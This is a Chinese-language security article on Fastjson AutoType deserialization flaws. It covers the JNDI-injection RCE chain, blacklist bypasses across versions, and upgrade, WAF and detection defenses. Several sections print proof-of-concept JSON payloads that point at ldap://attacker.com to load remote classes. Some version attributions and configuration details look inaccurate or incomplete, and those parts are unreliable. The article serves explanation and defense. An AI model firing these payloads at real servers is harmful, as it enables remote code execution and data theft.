Fastjson是阿里巴巴开源的高性能JSON处理库,在Java生态中被广泛使用。其多次曝出的反序列化漏洞(尤其是AutoType特性相关漏洞)曾引发重大安全风险,以下是一些简单介绍:
核心漏洞原理
1、AutoType机制缺陷
Fastjson在反序列化时通过@type字段动态加载任意类,攻击者可构造恶意JSON数据指定危险类(如com.sun.rowset.JdbcRowSetImpl),结合JNDI注入实现RCE。
2、黑名单绕过史
初始漏洞(CVE-2017-18349)后,官方采用黑名单过滤危险类
后续多个版本(如1.2.47/1.2.62/1.2.80)被发现存在黑名单绕过手法:
使用L开头的类名描述符(如Lcom.sun.rowset.JdbcRowSetImpl;)
利用非公开内部类(如org.apache.ibatis.datasource.jndi.JndiDataSourceFactory)
二次反序列化攻击链(通过Throwable子类触发)
影响范围
高危版本:
1.2.24及之前版本(无防护)
1.2.25至1.2.80(存在黑名单绕过风险)
攻击后果:
远程代码执行 → 服务器沦陷 → 数据泄露/挖矿木马/横向移动
检测与验证
1、版本检测
bash
# Maven项目检查依赖 mvn dependency:tree | grep fastjson
2、漏洞验证POC
json
json
{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://attacker.com/Exploit", "autoCommit":true }
措施 | 技术细节 | 兼容影响 |
升级到安全版本 | 1.2.83+(启用safemode)或2.x版本 | 需测试JSON序列化/反序列化逻辑 |
关闭AutoType | 启动参数加-Dfastjson.parser.autoTypeAccept= | 需重构依赖@type的代码 |
白名单控制 | 使用ParserConfig.getGlobalInstance().addAccept("可信类名") | 维护成本较高 |
防御体系
WAF规则
拦截包含@type、JdbcRowSetImpl等关键字的JSON请求(需注意误报率)
RASP防护
在JVM层拦截危险类加载行为(如龙蜥引擎的com.alibaba.fastjson.util.JavaBeanInfo监控)
供应链安全
SCA工具(如DependencyCheck)扫描组件版本,阻断高风险依赖
典型攻击案例
2020年某电商数据泄露事件
攻击者通过Fastjson漏洞植入Webshell,窃取百万级用户订单数据
Mirai变种僵尸网络
利用未修复的Fastjson服务器组建DDoS攻击网络
Fastjson 漏洞的核心爆发原理源于其 反序列化机制的设计缺陷,尤其是 AutoType 动态类加载特性与 JNDI 注入的结合利用。以下是技术原理的分层拆解:
1. 反序列化机制失控
Fastjson 在解析 JSON 数据时,允许通过 @type 字段指定目标类(AutoType 特性)。例如:
json
{ "@type": "com.example.User", "name": "test", "age: 30 }
致命缺陷:
当攻击者构造的 @type 字段指向 高危类(如 com.sun.rowset.JdbcRowSetImpl),Fastjson 会无条件实例化该类,触发其 Setter/Getter 方法的自动调用。
2. JNDI 注入触发 RCE
json
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker.com/Exploit", "autoCommit": true }
攻击流程:
- 目标类加载
Fastjson 实例化 JdbcRowSetImpl 类(Oracle JDK 内置类) - Setter 方法触发
调用 setDataSourceName("ldap://attacker.com/Exploit") 设置 JNDI 数据源 - JNDI 上下文连接
调用 setAutoCommit(true) → 触发 connect() 方法 → 向恶意 LDAP 服务器发起请求 - 远程代码加载
LDAP 服务器返回指向 http://attacker.com/Exploit.class 的 Reference 对象 → JVM 加载并执行远程恶意类
3. AutoType 黑名单绕过
Fastjson 的修复策略长期依赖 黑名单过滤,但攻击者通过以下手法绕过:
手法一:类描述符变形
json
{ "@type": "Lcom.sun.rowset.JdbcRowSetImpl;" }
利用 Java 类描述符语法(LClassName;)绕过字符串匹配
手法二:二次反序列化
java
public class EvilClass extends Throwable { private Object obj; // 反序列化时 obj 会被再次解析 }
通过异常类的嵌套反序列化触发二次攻击链
手法三:非公开内部类
json
{ "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" }
利用框架内部类(未在黑名单中)构造新攻击链
4. JVM 特性助攻
- LDAP 协议自动加载:Java 默认支持通过 JNDI 加载 LDAP 远程对象
- 低版本 JDK 无限制:JDK 6u132/7u122/8u113 之前的版本未限制 java.rmi.server.useCodebaseOnly 属性
- ClassLoader 双亲委派突破:攻击类可被任意 ClassLoader 加载
漏洞爆发条件
条件 | 说明 |
Fastjson ≤1.2.80 | 存在黑名单绕过可能 |
JDK 版本 < 8u191 | 允许通过 JNDI 加载远程代码 |
目标服务对外暴露 JSON 接口 | 可传入自定义 JSON 数据 |
网络可达攻击者服务器 | 能发起 LDAP/RMI 请求 |
技术原理总结
plaintext
Fastjson AutoType → 动态加载任意类 → 调用危险方法(如setDataSourceName) → 触发JNDI/LDAP请求 → 加载远程恶意类 → RCE(远程代码执行)
防御启示
- 根本方案:升级到 Fastjson 2.x + 启用 safemode
- 环境加固:JDK ≥8u191 + 设置 com.sun.jndi.ldap.object.trustURLCodebase=false
- 流量监控:拦截包含 @type、JdbcRowSetImpl 等关键字的请求
该漏洞的爆发揭示了 "过度灵活的反序列化机制" + "JVM历史特性" 组合产生的毁灭性效果,成为 JSON 反序列化漏洞的经典研究案例。
Fastjson 在修复早期漏洞时长期依赖黑名单过滤机制,但攻击者通过不断发现新的类加载路径和语法变形手段绕过防御。以下是各版本黑名单绕过手法的技术细节拆解:
1. 1.2.47 版本绕过(CVE-2017-18349后续绕过)
攻击手法:类描述符语法变形
漏洞触发代码:
json
{ "@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://attacker.com/exp", "autoCommit": true }
绕过原理:
- Java 类描述符标准格式为 LClassName;,Fastjson 黑名单仅检查完整类名(如com.sun.rowset.JdbcRowSetImpl)
- 攻击者使用 Lcom.sun.rowset.JdbcRowSetImpl; 格式绕过黑名单匹配
防御修复:
- 在 1.2.48 版本中,增加对 L 和 ; 符号的过滤,并更新黑名单
2. 1.2.62 版本绕过(2020年披露)
攻击手法:二次反序列化 + Throwable 子类
漏洞触发代码:
json
{ "@type": "java.lang.Exception", "@type": "org.apache.xbean.propertyeditor.JndiConverter", "AsText": "ldap://attacker.com/exp" }
绕过原理:
- 第一个 @type 指定 Exception 类(白名单允许)
- Fastjson 处理异常类时,允许嵌套定义第二个 @type
- 通过 JndiConverter 类(非黑名单类)触发 JNDI 注入
技术链分析:
Exception 反序列化 → 解析内部属性时二次触发 AutoType → 加载 org.apache.xbean.propertyeditor.JndiConverter → setAsText() 调用 JndiLookup
防御修复:
- 在 1.2.67 版本中,禁止异常类嵌套使用 AutoType
- 将 org.apache.xbean 相关类加入黑名单
3. 1.2.80 版本绕过(2022年披露)
攻击手法:AutoCloseable 接口 + ClassLoader 混淆
漏洞触发代码:
json
{ "@type": "java.lang.AutoCloseable", "@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig", "properties": { "@type": "java.util.Properties", "UserTransaction": "ldap://attacker.com/exp" } }
绕过原理:
- 外层使用 AutoCloseable 接口(白名单允许)
- 内层指定 JtaTransactionConfig 类(非黑名单)
- 通过 setUserTransaction() 方法触发 JNDI 查找
依赖组件:
- 需要目标环境包含 ibatis-sqlmap 依赖(常见于老旧Java系统)
防御修复:
- 在 1.2.83 版本中引入 SafeMode 机制(需手动开启)
- 彻底禁止 AutoType 功能,不再依赖黑名单
通用绕过手法总结
手法类型 | 技术实现 | 影响版本 |
语法变形 | LClassName; 格式绕过字符串匹配 | ≤1.2.47 |
二次反序列化 | 利用异常类/集合类触发嵌套解析 | ≤1.2.62 |
非公开类利用 | 攻击链转移到第三方库内部类 | ≤1.2.80 |
接口伪装 | 通过接口/抽象类声明绕过类型检查 | ≤1.2.80 |
防御方案演进
- 黑名单阶段(1.2.25~1.2.68)
- 不断扩充黑名单(最终包含 200+ 类)
- 缺陷:永远存在漏报可能
2.白名单阶段(1.2.68~1.2.82)
- 默认关闭 AutoType,需手动添加白名单
- 缺陷:旧系统升级成本高
3.SafeMode 阶段(1.2.83+)
- 启动参数加 -Dfastjson.parser.safeMode=true
- 彻底关闭 AutoType,仅允许基础类型解析
检测方案
1.静态检测
bash
# 使用 OWASP DependencyCheck 扫描组件版本 dependency-check.sh --project MyApp --scan ./lib
- 规则:标记所有 fastjson ≤1.2.83 的依赖
2.动态检测
- BurpSuite 插件:FastjsonScan(检测 @type 特征)
- RASP 拦截:监控 JavaBeanInfo 类的危险调用栈
3.流量特征
- 请求 Body 中包含 @type 和 JdbcRowSetImpl 等关键词
- Content-Type 为 application/json 但参数结构异常
历史漏洞时间线
2017-12 CVE-2017-18349 首个AutoType漏洞 2019-06 1.2.47绕过 L; 语法绕过 2020-03 1.2.62绕过 二次反序列化 2022-05 1.2.80绕过 接口伪装攻击 2022-11 1.2.83发布 SafeMode终极防御
修复建议
1.强制升级
- 使用 Fastjson 2.x 版本(包名改为 com.alibaba.fastjson2)
- 启用默认 SafeMode:JSON.parseObject(payload, Object.class, Feature.SafeMode)
2.JDK 加固
- 升级至 JDK 8u191+ / 11.0.1+(禁用远程类加载)
- 添加 JVM 参数:
3.WAF 规则示例
# 拦截含@type的JSON请求 if ($request_body ~ "@type") { deny all; }
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)